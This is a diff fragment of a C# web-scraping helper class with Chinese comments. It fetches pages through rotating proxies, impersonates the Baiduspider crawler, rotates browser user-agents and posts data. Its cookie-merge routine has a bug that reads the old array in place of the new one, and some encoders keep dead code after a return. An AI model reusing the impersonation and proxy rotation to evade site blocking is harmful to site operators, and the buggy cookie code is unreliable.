+ /// + /// + /// + /// + public static string ByLocation(string url) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 30; + string Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + Html = mu.GetHtml(GetProxyUrl(BaseClass.ProxyIn, url)); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + return null; + } + return Html; + } + + /// + /// 远程下载文件 + /// + /// + /// + /// + public static bool ByUsaDownload(string url, string path) + { + string newUrl = GetProxyUrl(BaseClass.ProxyOut, url); + bool ok = DownloadFile(newUrl, path); + if (!ok) + DownloadFile(GetProxyUrl(BaseClass.ProxyOut, url), path); + if (!ok) + DownloadFile(GetProxyUrl(BaseClass.ProxyOut, url), path); + return ok; + } + + + /// + /// HTTPS专用出口 + /// + /// + /// + public static string ByHttps(string url) + { + bool isError; + return ByHttps(url, out isError, false); + } + /// + /// HTTPS专用出口 + /// + /// + /// + public static string ByHttps(string url, bool mobile) + { + bool isError; + return ByHttps(url, out isError, mobile); + } + /// + /// HTTPS专用出口 + /// + /// + /// + /// + public static string ByHttps(string url, out bool isError, bool mobile) + { + MultiThreadClient mu = new MultiThreadClient(); + mu.TimeOut = 60; + if (mobile) + mu.IsMoblie = true; + string urlx = GetProxyUrl(BaseClass.ProxyHttps, url); + string Html = mu.GetHtml(urlx); + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + urlx = GetProxyUrl(BaseClass.ProxyHttps, url); + Html = mu.GetHtml(urlx); + } + if (string.IsNullOrEmpty(Html) || mu.IsError) + { + isError = true; + return null; + } + isError = false; + return Html; + } + /// + /// 转换URL + /// + /// + /// + /// + public static string GetProxyUrl(List ips, string url) + { + if (ips.Count == 0) + return url; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = ips[ra.Next(ips.Count)]; + + return "http://" + (ip.Contains(":") ? ip : ip + ":6000") + "/url=" + ReplaceUrl(url); + } + + /// + /// utf8 下载页面 + /// + /// + /// + public static string Utf8(string url) + { + if (string.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Timeout = 60; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } + /// + /// Whois 查询 + /// + /// + /// + public static string Whois(string url) + { + if (string.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Timeout = 30; + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Headers.Add("Add-Cookies", "whois"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } + + /// + /// 模拟百度抓取 + /// + /// + /// + public static string ByBaidu(string url) + { + string userAgent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; + return ByBaidu(url, userAgent); + } + /// + /// 模拟百度蜘蛛下载页面 + /// + /// + /// + public static string ByBaidu(string url, bool redirect) + { + if (string.IsNullOrEmpty(url)) + return ""; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-CN"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.UserAgent = + "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1"; + request.AllowAutoRedirect = redirect; + request.Timeout = 20000; + request.ReadWriteTimeout = 20000; + + request.Proxy = null; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[10240]; + do + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + b = ZipHelper.Decompress(b); + string contentType = response.Headers["Content-Type"]; + string newurl = response.Headers["Location"]; + if (!string.IsNullOrEmpty(newurl)) + return "重定向:" + newurl; + string html = ""; + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)").Trim(); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html.ToLower(), r); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!string.IsNullOrEmpty(html)) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + //if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 3)) + // html = Encoding.GetEncoding("gbk").GetString(b); + } + if (string.IsNullOrEmpty(html) && !string.IsNullOrEmpty(newurl)) + html = "重定向:" + newurl; + return html; + } + catch (Exception e) + { + return e.Message; + } + } + + /// + /// 自动识别代码模拟浏览器 + /// + /// + /// + public static string GetUrl(string getUrl, ref string cookies, ref string codeType) + { + if (string.IsNullOrEmpty(getUrl)) + return ""; + try + { + int retryTimes = 0; + GotoAgen: + if (string.IsNullOrEmpty(cookies)) + cookies = null; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(getUrl); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0"; + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.Headers.Add("Cookie", cookies); + + request.Proxy = null; + request.AllowAutoRedirect = false; + request.Timeout = 10000; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[20480]; + do + { + try + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } + catch + { + num = 0; + } + } + while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + + b = ZipHelper.Decompress(b); + string cookies1 = response.Headers.Get("Set-Cookie"); + string location = response.Headers.Get("Location"); //跳转地址 + if (!string.IsNullOrEmpty(cookies1)) + cookies = UpCookies(cookies, cookies1); + string contentType = response.Headers["Content-Type"]; + string html = ""; + if (string.IsNullOrEmpty(location)) //不是跳转 + { + if (!string.IsNullOrEmpty(contentType)) + { + codeType = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)").Trim(); + if (!string.IsNullOrEmpty(codeType)) + html = Encoding.GetEncoding(codeType).GetString(b); + } + if (string.IsNullOrEmpty(html)) + { + codeType = "UTF-8"; + html = Encoding.GetEncoding(codeType).GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string c = GetRegexString(html, r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + { + html = Encoding.GetEncoding(c).GetString(b); + codeType = c; + } + } + } + if (retryTimes < 4 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html))) + { + //下面是支持301和302跳转部分 + if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://")) + { + getUrl = location; + } + else + { + if (location.Substring(0, 1) == "/") + { + string[] l = getUrl.Split('/'); + if (l.Length > 3) + { + getUrl = ""; + for (int i = 0; i < 3; i++) + getUrl += l[i] + "/"; + getUrl += location.Substring(1, location.Length - 1); + } + } + else + { + if (getUrl.Substring(getUrl.Length - 1, 1) == "/") + getUrl += location; + else + getUrl += "/" + location; + } + } + retryTimes++; + goto GotoAgen; + } + return html; + } + catch + { + return ""; + } + } + /// + /// 更新cookies + /// + /// + /// + /// + private static string UpCookies(string old, string newc) + { + if (string.IsNullOrEmpty(old)) + { + return newc; + } + if (string.IsNullOrEmpty(newc)) + { + return old; + } + int io = 0; + old = old.Trim(); + newc = newc.Trim(); + string[] o = old.Split(';'); + string[] n = newc.Split(';'); + List c = new List(); + for (int i = 0; i < o.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (!string.IsNullOrEmpty(cv.Title)) + c.Add(cv); + } + for (int i = 0; i < n.Length; i++) + { + CoockiesValue cv = new CoockiesValue(); + io = o[i].IndexOf("="); + if (io > -1) + { + cv.Title = o[i].Substring(0, io).Trim(); + cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim(); + } + else + { + if (!string.IsNullOrEmpty(o[i])) + cv.Title = o[i].Trim(); + } + if (!string.IsNullOrEmpty(cv.Title)) + { + bool isHad = false; + for (int j = 0; j < c.Count; j++) + { + if (cv.Title == c[j].Title) + { + c[j].Value = cv.Value; + isHad = true; + break; + } + } + if (!isHad) + c.Add(cv); + } + } + string temp = ""; + for (int i = 0; i < c.Count; i++) + { + if (string.IsNullOrEmpty(c[i].Value)) + temp += c[i].Title + "; "; + else + temp += c[i].Title + "=" + c[i].Value + "; "; + } + return temp; + } + /// + /// cookies值 + /// + public class CoockiesValue + { + /// + /// 名称 + /// + public string Title { get; set; } + /// + /// 值 + /// + public string Value { get; set; } + } + /// + /// 模拟百度蜘蛛下载页面 + /// + /// + /// + public static string ByBaidu(string url, string userAgent) + { + if (string.IsNullOrEmpty(url)) + { + return ""; + } + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.Accept = "*/*"; + request.Headers.Add("Accept-Language", "zh-CN"); + request.Headers.Add("Accept-Encoding", "gzip,deflate"); + request.UserAgent = userAgent; + request.AllowAutoRedirect = false; + request.Timeout = 10000; + request.ReadWriteTimeout = 10000; + + request.Proxy = null; + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Stream receiveStream = response.GetResponseStream(); + MemoryStream ms = new MemoryStream(); + int num = 0; + byte[] buffer = new byte[0x400]; + do + { + num = receiveStream.Read(buffer, 0, buffer.Length); + if (num > 0) + ms.Write(buffer, 0, num); + } + while (num > 0); + byte[] b = ms.ToArray(); + ms.Close(); + + b = ZipHelper.Decompress(b); + string contentType = response.Headers["Content-Type"]; + string html = ""; + if (!string.IsNullOrEmpty(contentType)) + { + string c = GetRegexString(contentType, "charset\\s*=\\s*(\\S+)").Trim(); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"]*?charset=[""']*([\w-]+)[""']*"; + string c = GetRegexString(html.ToLower(), r); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (c.ToLower() != "utf-8" && !string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + else if (string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding("gbk").GetString(b); + } + if (!string.IsNullOrEmpty(html)) + { + if (html.Substring(0, 1) == "锘") + html = Encoding.GetEncoding("UTF-8").GetString(b); + //if (html.Contains("�") && (html.Length - html.Replace("�", "").Length > 3)) + // html = Encoding.GetEncoding("gbk").GetString(b); + } + return html; + } + catch (Exception e) + { + return e.Message; + } + } + /// + /// 返回单个正则分析结果 + /// + /// + /// + /// + public static string GetRegexString(string HtmlString, string RegexString) + { + MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase); + if (mc.Count > 0) + return mc[0].Groups[1].ToString(); + return ""; + } + + /// + /// Gbk 下载页面 + /// + /// + /// + public static string Gbk(string url) + { + if (string.IsNullOrEmpty(url)) + return ""; + try + { + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.GetEncoding("gbk").GetString(b); + } + catch + { + return ""; + } + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, StringBuilder postData) + { + try + { + WebClientx wc = new WebClientx(); + byte[] sendData = Encoding.GetEncoding("utf-8").GetBytes(postData.ToString()); + wc.Headers.Add("ContentLength", sendData.Length.ToString()); + wc.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wc.Proxy = null; + return Encoding.UTF8.GetString(wc.UploadData(url, "POST", sendData)); + } + catch + { + return ""; + } + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, byte[] byteData, int time) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = time; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.UploadData(url, byteData); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!string.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string temp = BaseRegex.GetMatchRegexString(html.ToLower(), r); + if (string.IsNullOrEmpty(temp)) + return html; + string c = temp.Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch + { + return ""; + } + } + /// + /// 浏览器标识 + /// + public static string UserAgent = @"Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/54.0.2840.99+Safari/537.36 +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/31.0.1650.63+Safari/537.36 +Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+Win64;+x64;+Trident/5.0) +Mozilla/5.0+(Windows+NT+5.1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.3;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko +Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+WOW64;+Trident/5.0) +Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/57.0.2987.133+Safari/537.36 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.1+(KHTML,+like+Gecko)+Chrome/21.0.1180.89+Safari/537.1 +Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/45.0.2454.101+Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2372.400 QQBrowser/9.5.10548.400"; + + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, string postData, string contentType = "", int timeOut = -1) + { + //return PostUtf8(url, Encoding.UTF8.GetBytes(postData)); + bool isError = false; + string[] l = UserAgent.Split('\n'); + try + { + string codeType = "utf-8"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.UserAgent = l[new Random(Guid.NewGuid().GetHashCode()).Next(l.Length)].Trim(); + byte[] byteData = Encoding.GetEncoding(codeType).GetBytes(postData); + request.Method = "POST"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + if (timeOut == -1) + { + request.Timeout = BaseClass.TimeOut * 1000; + request.ReadWriteTimeout = BaseClass.TimeOut * 1000; + } + else + { + request.Timeout = timeOut * 1000; + request.ReadWriteTimeout = timeOut * 1000; + } + request.Proxy = null; + request.ContentType = "application/x-www-form-urlencoded; charset=" + codeType; + if (!string.IsNullOrEmpty(contentType)) + { + request.ContentType = contentType; + } + request.ContentLength = byteData.Length; + request.Referer = url; + request.CookieContainer = new CookieContainer(); + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(byteData, 0, byteData.Length); + } + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + + Stream receiveStream = response.GetResponseStream(); + StreamReader readStream = new StreamReader(receiveStream, Encoding.GetEncoding(codeType)); + string data = readStream.ReadToEnd().Trim(); + if (string.IsNullOrEmpty(data)) + { + return "{\"code\": 400,\"data\": []}"; + } + return data; + } + catch (Exception e) + { + LogSave.Add(url + "---------" + e.ToString()); + //if (!isError) + //{ + // isError = true; + // goto reTry; + //} + return "{\"code\": 400,\"data\": []}"; + } + } + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8(string url, byte[] byteData) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 70; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.UploadData(url, byteData); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!string.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string temp = BaseRegex.GetMatchRegexString(html.ToLower(), r); + if (string.IsNullOrEmpty(temp)) + return html; + string c = temp.Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch + { + return ""; + } + } + + /// + /// post 数据 + /// + /// + /// + /// + public static string PostUtf8ForOplb(string url, string postData, string verifyAuthToken) + { + //return PostUtf8(url, Encoding.UTF8.GetBytes(postData)); + + bool isError = false; + string[] l = UserAgent.Split('\n'); + reTry: + try + { + string codeType = "utf-8"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.UserAgent = l[new Random(Guid.NewGuid().GetHashCode()).Next(l.Length)].Trim(); + byte[] byteData = Encoding.GetEncoding(codeType).GetBytes(postData); + request.Method = "POST"; + request.Headers.Add("X-PDD-VerifyAuthToken", verifyAuthToken); + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.Timeout = BaseClass.TimeOut * 1000; + request.ReadWriteTimeout = BaseClass.TimeOut * 1000; + request.Proxy = null; + request.ContentType = "application/x-www-form-urlencoded; charset=" + codeType; + request.ContentLength = byteData.Length; + request.Referer = url; + request.CookieContainer = new CookieContainer(); + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(byteData, 0, byteData.Length); + } + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + + Stream receiveStream = response.GetResponseStream(); + StreamReader readStream = new StreamReader(receiveStream, Encoding.GetEncoding(codeType)); + return readStream.ReadToEnd().Trim(); + } + catch (Exception e) + { + if (!isError) + { + isError = true; + goto reTry; + } + return ""; + } + + } + + /// + /// POST读取详细 + /// + /// 提交地址 + /// 提交数据 + /// 代码 + /// + public static string PostData(string strUrl, string data, string codeType) + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(strUrl); + request.UserAgent = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"; + byte[] byteData = Encoding.GetEncoding(codeType).GetBytes(data); + request.Method = "POST"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.Timeout = 10000; + request.ReadWriteTimeout = 10000; + request.ContentType = "application/x-www-form-urlencoded; charset=" + codeType; + request.ContentLength = byteData.Length; + request.Referer = strUrl; + request.Proxy = null; + request.CookieContainer = new CookieContainer(); + request.AllowAutoRedirect = false; + using (Stream requestStream = request.GetRequestStream()) + { + requestStream.Write(byteData, 0, byteData.Length); + } + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + + Stream receiveStream = response.GetResponseStream(); + StreamReader readStream = new StreamReader(receiveStream, Encoding.GetEncoding(codeType)); + return readStream.ReadToEnd(); + } + catch + { + return ""; + } + } + + /// + /// POST读取详细 + /// + /// 提交地址 + /// 提交数据 + /// 浏览器头 + /// + public static string GetUtf8(string strUrl, string userAgen) + { + try + { + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", userAgen); + web.Proxy = null; + byte[] b = web.DownloadData(strUrl); + return Encoding.UTF8.GetString(b); + } + catch + { + return ""; + } + } + + /// + /// URL GB2312转码 + /// + /// + /// + public static string UrlEncodeGb2312(string IndexKey) + { + if (string.IsNullOrEmpty(IndexKey)) + return ""; + return HttpUtility.UrlEncode(IndexKey, Encoding.GetEncoding("GB2312")); + + byte[] sarr = Encoding.GetEncoding("gb2312").GetBytes(IndexKey); + IndexKey = ""; + for (int i = 0; i < sarr.Length; i++) + { + IndexKey += "%"; + IndexKey += sarr[i].ToString("X2"); + } + return IndexKey; + } + /// + /// URL UTF-8转码 + /// + /// + /// + public static string UrlEncodeUtf8(string IndexKey) + { + if (string.IsNullOrEmpty(IndexKey)) + return ""; + return HttpUtility.UrlEncode(IndexKey, Encoding.UTF8); + byte[] sarr = System.Text.Encoding.UTF8.GetBytes(IndexKey); + IndexKey = ""; + for (int i = 0; i < sarr.Length; i++) + { + IndexKey += "%"; + IndexKey += sarr[i].ToString("X2"); + } + return IndexKey; + } + /// + /// 用IE打开网址 + /// + /// + public static void OpenUrl(string url) + { + try + { + //if (url.Contains("http")) + // Process.Start("iexplore.exe", url); + //else + Process.Start(url); + } + catch + { + } + } + + /// + /// 下载文件 + /// + /// 下载地址 + /// 保存目录 + /// + public static bool DownloadFile(string Urlstring, string FilePath) + { + try + { + WebClientx mywebclient = new WebClientx(); + mywebclient.Proxy = null; + if (File.Exists(FilePath)) + File.Delete(FilePath); + mywebclient.DownloadFile(Urlstring, FilePath); + return true; + } + catch + { + return false; + } + } + /// + /// 下载文件 + /// + /// 下载地址 + /// 保存目录 + /// + public static bool DownloadFile(string Urlstring, out byte[] b) + { + b = new byte[0]; + int times = 0; + Next: + try + { + WebClientx mywebclient = new WebClientx(); + b = mywebclient.DownloadData(Urlstring); + return true; + } + catch + { + if (times < 4) + { + times++; + Thread.Sleep(3000); + goto Next; + } + return false; + } + } + + + /// + /// 读取网址,兼容https,兼容任意编码 + /// + /// + /// + public static string GetUrl(string url) + { + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 30; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = null; + byte[] b = webClient.DownloadData(url); + b = ZipHelper.Decompress(b); + string contentType = webClient.ResponseHeaders["Content-Type"]; + webClient.Dispose(); + webClient = null; + string html = ""; + if (!string.IsNullOrEmpty(contentType)) + { + string c = BaseRegex.GetMatchRegexString(contentType, "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim(); + html = Encoding.GetEncoding(c).GetString(b); + } + } + if (string.IsNullOrEmpty(html)) + { + html = Encoding.GetEncoding("UTF-8").GetString(b); + string r = @"<\s*meta.+charset\s*=\s*[""']*(\S+)[""'\s>]*"; + string c = BaseRegex.GetMatchRegexString(html.ToLower(), r).Trim(); + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c) && c.ToLower() != "utf-8") + html = Encoding.GetEncoding(c).GetString(b); + } + return html; + } + catch (Exception e) + { + LogSave.AddView(url + " 错误:" + e.Message.Replace("\r\n", " ")); + return null; + } + finally + { + try + { + webClient.Dispose(); + webClient = null; + } + catch + { + } + } + } + + + /// + /// 获取域名 + /// + /// + /// + public static string GetDomain(string url) + { + try + { + url = url.ToLower(); + string temp = BaseRegex.GetMatchRegexString(url, @"([a-z0-9-\.]+\.[a-z]{2,8})"); + if (!string.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return null; + if (!string.IsNullOrEmpty(temp)) + return temp; + if (url.Contains("//") && url.IndexOf("//") + 2 < url.Length) + url = url.Substring(url.IndexOf("//") + 2, url.Length - url.IndexOf("//") - 2); + if (url.Contains("/") && url.IndexOf("/") > 0) + url = url.Substring(0, url.IndexOf("/")); + return url; + } + catch + { + return null; + } + } + + /// + /// 获取域名&ip + /// + /// + /// + public static string GetDomainIp(string url) + { + if (string.IsNullOrEmpty(url)) + return null; + url = url.ToLower(); + string temp = BaseRegex.GetMatchRegexString(url, @"http[s]{0,1}://([a-z0-9-\.]+\.[a-z]{2,8}|[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3})"); + if (!string.IsNullOrEmpty(temp) && temp.Length > 1 && (temp.Substring(0, 1) == "." || temp.Substring(0, 1) == "-")) + return null; + if (!string.IsNullOrEmpty(temp)) + return temp; + return null; + } + + /// + /// 